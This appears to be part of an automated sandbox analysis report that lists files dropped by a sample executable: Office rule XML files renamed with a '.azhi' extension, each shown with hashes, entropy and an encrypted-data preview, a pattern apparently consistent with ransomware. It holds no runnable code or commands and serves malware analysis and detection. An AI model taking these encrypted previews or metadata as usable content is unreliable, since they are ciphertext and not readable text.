Preview:	<?xml...]0..U..v....=_.ag....V}o.._.A/F2.d&.'.,...k....D........f..8.A\|...iE&.F...."+G6.Z..L..".3!I.N.t......2.....i..h.Y.T$I.....P.Wd....5( ..`.J3o8..8..}....N{...^.P-,.R..(.C...6?L..^9N..........[L....G.Oz.........".......Y.XX..8..f.8.E..&...t.dae.[J.^.+......\e.4.:.Y0,y..,I.-h=D\s.@..Bj.n.M.3.9kh..x.e.f...j..`b..n,.4.-...R...9W..]")Y'.2H..F.%...2..4.....C.L..........l..O.....W`x.KQ...o..z.@.0.`.`.....z.;B......4.z..V..`.Zb..(....o.f..l..C..%...yT.^..TCA..........(X.f/.4%.J.n.A.$.....f..KX%.7/)h...R...4....62.Gc.]r@..R.2....F.3.mc...N%4..4o...."\|........4. ..m..j.e\V..+..n...S..Ook9..!,Z{.VzJ....X.M......k....Z.`.E..(,....<.L>q..6(..ZW..z....:..E.?..+~.\|..iy..U...OV..qx.Y...!...Q..A..E.C."C.YtIc\|Rb.tg<.?..7....a../....^...0.c.}._.f$......`.n{E.L.._....:8..9.w.....a'g{..vg3.....OT.I..X._m....'oE~.....d....L.,O.....W....].!....?nk..e0..@.D...9.%x(2..?..V..pkmw...1,..{.<.....~........J....[..{h....>......V....}.>..6.BZ.........'g.z..l.U.e.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100124v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.749680392305897
Encrypted:	false
SSDEEP:	12:+JXHSKRX7n8UJONTelILPDUrsRljDPaYaMddt9XxzoGlZqhFWVJuaVsOa7vjQcmN:+J3S4XgUJONTelVrCl/iP0zuGlZqhYVd
MD5:	E0D14F2C5947C55BC577E6448F035378
SHA1:	4D547D169257558FE2466F6B3D6E895ABE1F3312
SHA-256:	8C6D32A3CBC2E5A7006261C0FD88AFCE8A24713844C18FFADC488FD1012324AF
SHA-512:	00BFB6B458C200243C453DD86C2ACEF2313D1D8C552BE196B28949ABE4F1188BDAFF9FC1012583DD4AE97249D3C39EDF58DF62844AD1EBCECB2C511C559C512D
Malicious:	false
Preview:	<?xml...S.{....)..>.....vh....q.`..o.p...x....s....)R..4.9.@....V...:%.v.>....D......].y..r.....3...1...B...H$.Jq...I.K.....W!.......jh.,._.\|...m.y..pU.Q:..y.ys.".Sz^&N.......J&!.3.nM..O.b`..x.. .k,.o....s}...=..j......)n.}.x.....+....[%<...Q......;.^......6n/G!K..3..\|Z\.p.+...D.UT&<.z....YA..n.....#...[lm7.._.>.N.r...H...\It.:.A.....g.(.9..).jo.r..o`.QJ.9 ;.Rq.!.3.QWU.{....n..'h*;.a.-.{.M>"..Oi'....l...Q.#....R .S%.:....^..G......t.w.L...#.......u.\|.<u..E..X.....$..\.~.`r7.xph).t...:..f...m..~t5#).B...'..!...v....1..6.9../........(/........O..!..H...n.\...G..4..Zc...u....,+...kduE.D...y.j.E.>#..;.K..=W'.,...K..Q..v..QGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100125v2.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	7.744660984025723
Encrypted:	false
SSDEEP:	24:mHlPmvnqA5b7DApNNSzDmhj4w49R7gvo7DxuEtobD:oleSsDAJSzChcw402EGyD
MD5:	DC7D118BBBA239C18A469189FDA36BA1
SHA1:	BA814BF4E85D403AB2E058406E91FBC2A4467BC2
SHA-256:	42EAF17FE473B4221959C60D8DACE0ED650DD207BA6A9E31EC362490DB15960F
SHA-512:	9C96226698812761B79D69CA5A88676F2B5B4CAD8AE0AAC739AC92228C357261E34EEA704BBFD4A2C1EDB58E14EE99C07A267F0725C50F5C978977DB4F0D6F5F
Malicious:	false
Preview:	<?xmlf.(....[>.`..9....nz2...)....1../.....%..[...<..j.g....q.Z.A.q......A.(Y-$.H...l......J.n...?]......{..Dc..[@..Es..-.f...V.K.a..f&~<.HBD.S%.5..71.N........q8U.V..R.....k.JX:`a..........la./..VN..Y.'...Fs..T.n..........z..n.>..Jz.f.9.......z+P.D'<.R...91.I.?......(.....$.IO7...u.....Xe...JiV.0~>gb......K..3o.[0.....S.s.dA.B.2h.8.U....oC......~..........qQ....c66.../%..K..q#..A..G.....@s..].j.(..c.EG.4.\|..w.i../>...6....U.....O..U,.......&.......T.&.8....(.<........!.+......W....?[...F...0..F..x.',..-n..c-8...K.....~.M\|......0..zsQ...D...q?.=.g..W.}.....iGEA.D...:..m.A...$.\|z.(\..26....\u....T,....e.d.."....[q.Y...Z.Md....dVj..!b..J...9V_.C..u4.q.%OWl..Y..%..-..3h...F....y...pcv..CO.s.`s.......*"O..I..6.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100126v2.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	849
Entropy (8bit):	7.743707845658984
Encrypted:	false
SSDEEP:	24:qLIj54NITOoSseZpV97b6XXRxS4KKLTbD:3j4oSVPV9aRrD
MD5:	4A7FA5103A9D60A6349EFB18192BBB65
SHA1:	6482313C6DE2E03A1CE6B8D229D547AB2756461E
SHA-256:	91805D098F3EB9D1B452058CB64526C1028AB42061068E551235C423EC726841
SHA-512:	BDFB35E3132E256AAAE69AF68B835C14268633EB7146311A48AA136614D7AD11246C5905684C7B4103BB610FA2AEBD98D942E166AF155C5A658EF23966A4B226
Malicious:	false
Preview:	<?xml...[.."~ A..cq+.\.x.4..B.E.rOF.A...Mhv.oc..aoB.......0.iB..hk...1..........K..}.s={-...u.........}...).h.....A..j..1..E.>\|.y&Ct..R..v...Jy..;.Ue....\.....0..\....2..t......E>..KF.8B.._{j...+.f.MM...n.%..0.(.G...(.#........o.>.H..]....1..<.A..)....0Di.s[...D.w!......+...._+......gd.].;T.).]q..3...akO...\|.E$..f. .A.^...lU...Z:.....Fh..h.Yv)W.h.Y.\|.....}..\....x.........w.......!........u}OIP.L;...Xu....@.f(;...5.:.f..y-.-.....}.u.....U....9...Nb.0kD.~.5......!V.....G....W....2..V.v......DD.....:D...u.d.g..}...~...../.A.....<.....7C.......oS......;...{.;....'...c....z.U..O....J...6RzC..X..v........{M...^.......S.r.c{......v.R.\|O\..do...F<.."..M[.......3U...T1............y.......i.l.G"x...B&.B;.1."...I......]....G'N.......lq..u.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100127v2.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.72765971161262
Encrypted:	false
SSDEEP:	24:RcgKWqa/2FJHx5j/W87WjyQTO0X9owPuybD:jKWK7R5ji7TO0XdD
MD5:	CFC5B38493CF773148A013C90480AE96
SHA1:	54401E2F7D4822658BE2B514F82685241A261D5D
SHA-256:	C43923CE09E2451C9DEEA32639BCC602E3360889E08194F5382559717AA84FE1
SHA-512:	DB271BC65C2AB3736A29A120153BB50F53E5FB66EDB8A5071636B377CB3FFC2F7726DDEFB16563502564FF8E0C35122B29E3C0D184B6AE6C6B394EAC85912601
Malicious:	false
Preview:	<?xml....A..a.......S[z.G.`-.,..~...K..g.zl...BZe.)..hWK.O..+.......Hn.h....S..As.V8.P..e.X.....Z.UO2.V.m.S.....k.....r.'..SR0.1!...{.Bc!. .t..$BY.`.m..V..n...../.-...M.eG....Q.VJok.........6.....,.ir..P..Qm{>........\.......mak.......S..3..X.......&H..H.G..^.........t.l.Ur.O`.,......SK....D.].."...s.7Z..N)iJNm....R.h.\Y..!k&...._.F..fD...L..z..z.V.....F..jd#...(.NGQ.....ap....:BX.....n...O...Qx........v7. ..1T...M...?..l...r$...C.x.....0.V.[......tRY...\-.uUM....)D8..._........0.../m..js.5.................}.Z.N..e..vq..o..XS=.i3...Ub\n5..7.t.L...3...a......t...m....8...TX...4=..\.......P.....6.BZ..~F.T.0jK.....`....,......]n....^..D\.].i....('..~.....[.]..#.^_...A_8..'.&l.N.!.......%}.`...).zr.~...P...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100128v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.752506260973889
Encrypted:	false
SSDEEP:	12:j5+ZJf00FvIsuSVtBGbkzVP5/ZVU7ao6j2RXp1+q0MgJ7bZK+TbRYYcii9a:jaRIZA/GgzR+7aV2QTKY9bD
MD5:	48708BC5DBA45EB7D5A8F8C4E6F3A8CF
SHA1:	A21A03B7336762C868A4D4DD7F2AE57F613201A8
SHA-256:	1EAF4B9D77480F923160D28389C9075C6A61040AAFEC1234C6AC9F9CDD40C819
SHA-512:	7345F4286A8DAABFA1DB6C15EFBF7EB2974A6C1322FFC97E04E8F0B792795C126D4AF55A127D1319677202A15A1C9CB027A52332FD39145210C40E8074545899
Malicious:	false
Preview:	<?xmlP....;=.\...TV!..0...$nWC.H>...5..E.8.."...1......Y.0.B....&.......F..M-:.NUp@.\.....H....1._..g...gZ......e.I.5......!.........\|X^.K..X~.p.....%=H.._...U..=K....S...;.P..g....%I...z.............g..A..@G.........[............t...S..).#.k...NK...I.{..Rf...&.v3OM...m..N....&W..B.~...[....k...R.K#..c+.MN'.........`..#7%wo;.........?..!..h..R+...Y........)...2Z.Y.e2..l.+U.Uo8.d>c..@...L6.j..#.D.h."W...`/qgn..B.Z..z..NV.rH..K..>..L.R.......m.Y......;.i y.~>Jf.....z..b.&k......N;>...w.C.)...,.)......z....i.\..K5.'.D1...[.7...Q.B...Z...../..H07..W`.' ............i...i...Q~'....V.(.1..b.#.j!....=..........r...^.bB..J..o}...4XL.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100129v2.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.695161967108769
Encrypted:	false
SSDEEP:	12:rp0C+KNWS4s5YXk0N+ZZfht6LWCcyYlF27lVarYdApnSe1mlN5VJuElrlYcii9a:rp0QAkYXkbZbuYi7l0EdA1P6nlabD
MD5:	F5F54E013AC53B865B82639E74E1B8ED
SHA1:	E65D7D81CF73B93CE9E7FA9359C8F706AB6F8CB7
SHA-256:	2E53CF59C9D0FC971CEC20C54A8E2BA89D1E17AEA72BADCA2323AEC373D1D4FD
SHA-512:	7FBD9CFA9EF8632599A862D87B5E079F7670C354121C6EEA9A2226EBFA423B308C9CC2569CB25D186544CBB2DC198A61665D7910278FC661CE0FAAB69E0E2A08
Malicious:	false
Preview:	<?xml...IYCS..O....K`....X.1..U..i...g..`.l.Od.....M..... .Kc.9.`.Xa..m.le...=e....4.,......R.QK.A..h...%...^....XM8]_...&D]..^..U.~.r...Y......D..,1bLcW..j...hs\.k.+6$.4.^.<.hF.Z..2l.D[..]........\I.!.:.s.9......$....../..<.=.B.......\CP.D6......d.'.....Nk{+%JI..A_zf....=.(.LDe.......m.p....Y;y..Mu...3.rX.:........LO.Y..`..).F.D.Ha.3#..H....3;X.T>.7..;H..8...{.....L}$m....a9.\|@...nD.PW.~...s..8...j}..i7...D2<"....w.....Fy.P......v.y}9X..-Zy..g......N%.a......=./4..'...I..H.^-...K..O.a..lm.'...;...[y.g...h`.'....X....f..(GJ....[.Z....t...sAK.z.r.O%...\|....x.5..AK..r.x.!...l/Kf.....O.s-4..r....Q..`u.i.Q.!..;.........=....7Z.I...#.{.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100130v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.717485377040062
Encrypted:	false
SSDEEP:	24:JZoVEcgCPDiwSoMF/3D0b3XhTFhg5Nov1bqybD:sVETeHC3KRTFhg5OD
MD5:	43398333C4286BD48604056FA60C9BED
SHA1:	8F500C270AFE3D6F100726EF95C75C9CAD28180F
SHA-256:	77ACC18EDD5FE59A150DD37217FC134F30C5CEFF8DE069398837F5D056EAEA27
SHA-512:	89AACB62DF0D2ADAB68496BCC1B6C3001AB23399835176051871C76BCE45FF942088DAC6712570E3056E2107F7FB4F282E929EE22350331FA67840BAB409DC8B
Malicious:	false
Preview:	<?xmlkVH......0..!.V..u.....},6..?.....&........,a.)..Z.[......y>....F...kB+..+...j.......Wgj.yo.6..p`.23.#....wA..g%.....b.....I/&..I.. w.@....Jd..`X.P..A._........@.)ID...p.zz.0..$.5...c.u.6.aB.!+M.W.H....r.s..?.........^H...^....{...$S.2..../....S.@...t....{HA.0.....l..B"y...f%..<cE.D.,.7d.tl....%k..p........H..1...^..R{.F.7.x`niD..E.&..kI.=..<Z.6.v.].R.gaK}Uk.........x.m..8%.e...g.T..g..>DH.q.92...O..t.)..%....~c3}..d.....8H..M.........qn'...u..z.1...........a._GyZ..z..!...7S...}........Nm.Ue..~3.......^.~b+N.H.OCG.......?,.}.d.....u=.s!r5..S...@.C..z.......@D&..Ft4..-(.Rp5[cH....m.....:.&j..*.Z...7'..N.:.......M.3m.&....}.F.SM.E./Mz....0.d...r.ge[BR.. 'Lzn.9.Im..Po.4....c.L...7.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100131v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.679443072229582
Encrypted:	false
SSDEEP:	12:6vUVX/1o2RpW/hEI/h6aNrD8Yt6r/GRl4o6e5hDFi1ooDxIiPZYcii9a:6v0TWZrJN/nHRlH6eDIuo9IiPibD
MD5:	8BD0339BB8CD091774634C6AEB0F6080
SHA1:	71182E8BEB5A9930CAAB7AA520A12B198377C1DF
SHA-256:	81DDC3F080F268D1F14937D7EED46995E395E2DE59192301A3E57B9149A87B69
SHA-512:	E3D80CEC339A00849BE159040920179C3B547E9DC14F56BBF378A53D00BAFAD4EF551E87DD1CE37719253D3161DCE6C4DA3152EA297DAD53180EFDD848369F80
Malicious:	false
Preview:	<?xml..c..a.R.<...3a......a.8.UO.K.Z.).....SE..OQ6...H...._...KH....N...p.......g)..E9EaC..gU.9t.*K..;...... .#.3W..k...q.fil3.E..+.2,Ff/&M.@y..+.=...x............W.m1.5.=.E....-..........<`_..~.&......v.=.......c8..h#]..96.p.Vj..ik...s?.2...[?....j.........\|....3@{-c-~..G........6..5Y.....5.hk.F..3......%7....\...!=4...Pds.........js..:(....a(.....0..nNb._.._V.".h5\....Rj}..T..I.)..^.5........T.z.....S"6..A.X."k..s...:_.Q...vjC....E [..h]......%.......a.(.PI...7.l8j.v\.tUz.f.v.=;3x#.F.c.Ob.El-.~r......9..-kU.Z.UL.x...~......).I.......p....8. .2.L.-....~.@&../\ `...t#..j../.t.'.~\|.....b.U.a',%...x..(.4uE..+g....6n.h!...%X.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100132v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.645638276418675
Encrypted:	false
SSDEEP:	12:E8XWdA6oeQWhSKIuJ+RQY7SGvm+BJSLyXoJ3rSvPZIvkAEoKAvb3oIlxCYcii9a:VXF7eQeZIuCQY7LJSLsodISt8Avb3oat
MD5:	9D0FE464B253537B6AD08C203F17F5E3
SHA1:	D2F54B922524ECD0544AE5658D16BB53FB47A759
SHA-256:	55F0949B623B25E8BF079B569CDDCD88C7CDD76531D7CE0FCAEB10C644707BA3
SHA-512:	F98E7010C25B7524665E6FE9BFE771BE549A13A0A671E5BFAFFD96C3426AA10CDED90318DD61B1E57120F9815FD4916C7A5E5C2884A385F35998F456ADBAB373
Malicious:	false
Preview:	<?xmly.....].9*.4....X.~\|^.Oe3V...n.Q..>..6.1.wCA....g\j...\|.+`..3x.Hh..dX...N..D....<.L.>G+6Q.;<..o)...Rv.q..i4.)....D..3TZ..~$.9."Ud..Q...#-.QLTE..<.....+)0..f...(.1>@.4..u...'vz0.QC1+2.W6j;..h<.....B..9.@<...1.e..rEP.b9......[..K..h..8pO.H&'......=(,..$I....<.yi.P.=...BL/.=...?.s.../.....2".A.)9.D...W.m..hB!P../h.Hl+....8.vv.A.....h83.V.....fq^.As.`....}^.>....]........k.....3.9V7.B..V......q...&M^.S. ....(.t.?......1.m2..K.J.../...d4.?..(G.. .P......R4.}.7.{h.<.1.R.3.W.8YE...f.T.c..........\6...<....Ng....9CM.iJ$."...2.......T.j.ln.Z.sm%9O...Rk....;\.A........`.{...e....f3..]. .cw].".7......iL...........7......E..].......!...R.v?....e.pGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100133v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	751
Entropy (8bit):	7.731550143800316
Encrypted:	false
SSDEEP:	12:HQLJsu/MIgun59tciEz1ZmDDVA+dBimU9WG1jq+ToKSv2vk99vDKYcii9a:xuFgun5tq/mDm+dXGJqaoBJvbD
MD5:	7D46FD5FD50EEB6BCFF3C497A224AE8D
SHA1:	262CD7160696624400067B9B8FA27B81BBF45994
SHA-256:	92CD0B19908F6ABB61B7D950C99170D07CE943004363E844BC91F8D85C5E9928
SHA-512:	86D0B6694E006E73DE8CA72272D585CC904940C12EEF359BBD2293CEC99E0BDBE691EE1002A1D7B9CA575ED7BE4317D01922B77D4514BC9E9989C2F5E309AC6B
Malicious:	false
Preview:	<?xmlp.gBH'4...n....:m@....j(!....Zv.B?n.m...).T/..z....x{.r..s,.v.JT.!3,A..j.u[......4"ae.rV.zN.A}.......-.W....AF...n0{M..Te......-D.....\|.......y..^..K.+...i....@G$&...C.^.8.o...,...F..$lk.....,....U..}..t....T...........2...\..hT...m.Hhw.....\|{.....~......m#).....y....B..D.q.....]....U;`d.k.y.M..J..I..=1y......Y.\@.L...._..L...=e..ukQe........<.?.t...M..x..J....vRG....5U..B$........P..G.-i...8~..iG.%..>............w....m1O8-..#./...]S2d......e..I.".I.........wY:.A..u...%...<;.FO[..v.S......x.8w&B.e.hfb.....t..bq.e...X.a..C],.2..r.P&..........J.........c. ...Vw.....I.b...7;....C3..>.4.M...j.....$H;U....F......o!.E.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.714734964965054
Encrypted:	false
SSDEEP:	12:JZ4Ita62KNuMDLMuFgSblt7PEhE4yyAQtt4+IupP9/UN/hXHpYcii9a:dN2KsO4vSzPE24xAQ/ZdpP9URSbD
MD5:	E66DEC31EAF5342805578706BFEC88F8
SHA1:	3754CC5F13B2D091DA563B6201876914B7536EB7
SHA-256:	6B6E474755B9DD4918FCCD8F7EBA024755FD8806F80EC8C3F7A2F899043454F8
SHA-512:	6BD5A76BBD0FE2B6F6C398E4A32EC328BC639199E139C387941DDD7593BBE4AD064F7F91EFF8D0D91B529FEFDFF70C775D8B47C911DB90B03048B4DEF5FE362A
Malicious:	false
Preview:	<?xml?].K..-.......,..k...A..v.h....\.,O..3...........Q:..%......V......a.h........?....k..j..h..s.0.M.Q!..-..N...}.}.L:A...A..=.>...).Z.q.S.Fn...."...H-..u....w....Y['...O.4}&\.....C.Z..B....c]\U.....X./n...a_...~.fQQDc.M.?..J'..../.r.q.!...K..#....c.......jhS....z.-........!.6fsW.....U".\|U..r.L...(.{....s...-..J..g..^...!..v.1......wbq...tF..3.~-.......'@...OE...`#.h..CY.&e....Q......u..GR...];6.....t...O.20Z...z...k...}K....B..T....5.M-...R..q..2-@....^F..B.m.k..X.J...A.`T..:1.g..)...w...#Cx5...QIU.. .v.G.m.....>.Z..'.6.1.*.!`...6]...@.....}......O.....%...mU...Z.....<....2...".EZ.h..ay+..}.1..7.q.....t+.K. ..j.a..........P.e..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.712660579916694
Encrypted:	false
SSDEEP:	12:aJO93dprbVP0EJEScqP4zJ2b+BqmMFseaAv3UjgAvw3EQPMGJBsVMYcii9a:uO9zVP0gFcqmpBhMFRaAv9AQBPMGJanX
MD5:	109E5EF21A27DE27AFE604AFD990425A
SHA1:	8203274BCE6F7588348FE098263F3D34309FE696
SHA-256:	A2AF37E897513A6F8FF2DC7BABB65ACD578241C050361758D7E418E9787F2697
SHA-512:	257B11A51957680A07308847E9E7739A508BB3AB471D7A2D6A45873AF7DDA184925C911B8437275BBDF3988FC8352C5CFDF53AE2B427A424BB4B08145EDB8516
Malicious:	false
Preview:	<?xmlK.+..K.%.....5..J:!...i.........n.q4.....T.....).T}.y9.......U...R.2.z....]U..+....&..'{1\......H...y.....i.0..u7.H....L6..l...h....Y.\l...E..$.U....WR.i.....{a..&.9..Q..l!.i.{.....W.mE...=..b.`m]w.?x..eF.....................9I0.......3^;0......q....y.{P.gH..-.6_\..g...\|...~..@K=l.EpS..k5..5.......l.~.......#r=8.\|......9..g.G.p~..x.E.i..D.KW.1.jx....H......lO.......[......M...L.6O.}..$&.#._.}Y..g.W..<1/u..<9.R..)....[t......_.{J@..-.._%b.`...^..mJW..V.......J...ck.yA-q1,F..SO.V..cv.....l..+z...9......g.5....eQ\|yg._.a..Q...`Q!..E.Pm<.ye...Q..l...e;^.......y:..SV.+...p..d......\..d:....";1&.0...j.......q..&.hb......S.]T.h.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.787392529622593
Encrypted:	false
SSDEEP:	24:9J9Z7/2Rrm7m1bJQyoAjAiET7I7BzoJzZoPDkbD:lZ7/UmSRJQyTAr7IB6zCyD
MD5:	8DBBFF42892823EA03CE397944A59D78
SHA1:	7B62BC14FD639153678F2AA2EDF781E0BFC73429
SHA-256:	34A6AA370735D88581B047EA533C00CE43EC6D0501359A94E7EB3B472649BF77
SHA-512:	D079DA9AD21E24DA49C0B000E535455F7C4613FB8CD2496C2172F8C482BA7735D65B57763C882C5F2A296CEF01F5581A56EA7A5EC6E2D3ABCA715BE4ACB82E2E
Malicious:	false
Preview:	<?xml......e%..7......F..u.~...D...(.k...r..c...t.;.M.W.=wW.Y......X.c?....j}....A........~.+.:......5/.D...e...@.....&..6^....^Z.....k.....L..=t..=.?...7$/.!.i0......EX.F.Ao..U.q....<.3`x'W.Zq".:!. ..;W.}..-../W...P....5...p.^P).\...k.6/.....8...A.dD....-..../.\|.^.I...f..e`.7..}&...<./...-...L......d........!......mI..[.S...1..!/..u.1.=.~.:.....0...E.b...0[..P.......U.\./6...... i......R.\...b...5.o..l:...>:E.m.Z.=.j..o..-.G.Om.N$..Aop..k. Ld..c.zNz.i......ly?H.F2f9(...[.......s..Q/h.e........UZ..X.....<C?N.".u..U<qw.........<7D"C..L..[P.4!R... ].c>b.Z).w.....V8k..jK...@).....G6h.3....M.HB2.d....J_.{F7.....A....K...;.Ti...."..E.(..#d..Q.1....I...7.L.F...K....;..fq%...I.........q..g..C4#..K..8.......R.......;.>....[.f...up....#...bb7+`...H8.p...4L\.Xs.../..Q..@.J..........z.. LZ%[.(....?..E...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.873421345662334
Encrypted:	false
SSDEEP:	24:/oPIUkVR+Hwieq/kqMcjPR507ucJ9YU3KC2NfNDKd0+wcgXoxYHn5zN8S6vXubD:/+0+HiYk7cjJ5yucJSZ1NDKd0lcgXCYr
MD5:	F39A227507AFD1EF6802B210FE07012C
SHA1:	49439C2B904D5275478353D6EFF7E5DD546FFBEC
SHA-256:	14609BFD3E63037256E129E8B97F34D167B5034849C0842052988BB5CF448D0D
SHA-512:	CACAE9F65A55494DF5DEF3F65FD274BAFBCF535E6438FA3850C4F198C5988387FD4B0E75721C1011E118AD730967A6743E051BEA06C72099F072CD4BADA57EBF
Malicious:	false
Preview:	<?xml..{.DM.!....f.{.xShs.0.....O..z..oy..p..[_U........lY...../d...~?.=d.Q..qF.w........!.L.9.7.`.b....._..t........opH.O.d.O..z.L.n.3.......=A.Dp?..,.;.....Ri..?.6..M.]`.1...A..u....O........dp...q...d.....s....06G.Pu.O:<6.'a..3.[.....?...t...X..b...:&.............~.n.....52S.K...J!.{...F=d..."....z.-.W,....<.h...<.N....~}7.a...F4H..,......5 ..g..OKw:N.S4...Qz.....ih>U\|.8...+.....&`.eJ..B+.....$'.J...L.f..C4.{zY...@..^.{.4.Vtgo...1.).l.... 3..?...........Q....O.t..I.sf..^.r.Mc...........{8...S-....TVV.."...b..~...`.v.6......^...e...c.....\.y .........t.Tj*\|J.....lw....t.%....:X..x.3Y...b.9G.1.~.;...2....H......+.$?x[..t[..zd...x-...Hy...x..!.UYheR=...x....B.....5,..<.k.$:..<....2x.>.1b.9....f.6'.$..i....WOm...-..w...t3vn...\|+.`..u.#..........3.g/o.Z.+..#........A.........J#...&n...a.....K.p6.0.oGz....M.1.vm....r.-.z.....=.e.Zt.ttlI....pzo..._..M.mo.U.......,.qj.ECn...K.....!TL...9.)...Q9..>.._.eD./.5..\[wG....k.......F9.2.....T..G.g..Oi...#..5v.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.927459763060748
Encrypted:	false
SSDEEP:	48:xbC15NaShxY9hkRAf3ipuOutmtcA21MIiDsogPLhcJ0bicqPjQIe1W0JTbW4SahN:tQrQ92Ro3ip2tmndD9gjhE0bivsIL01N
MD5:	514F812B47B74604B8B15D6CB9425562
SHA1:	425DD2BB7B11C7E7CE09C66EE79C51B61A07E9F7
SHA-256:	87B30D7D960E7D816DBC10136DDBB5A14DCAD07EF38ED8BA960EBF16F0D24ABA
SHA-512:	F8FDDE1E4F9E1E5092FA2FFCE40EAC920CF6BFBCB005E129C2A294D6E1B2734AEE5561BF5D6DAEA1F8A10F568BC08190452DAB10A0A22AA4404B56AC192E3171
Malicious:	false
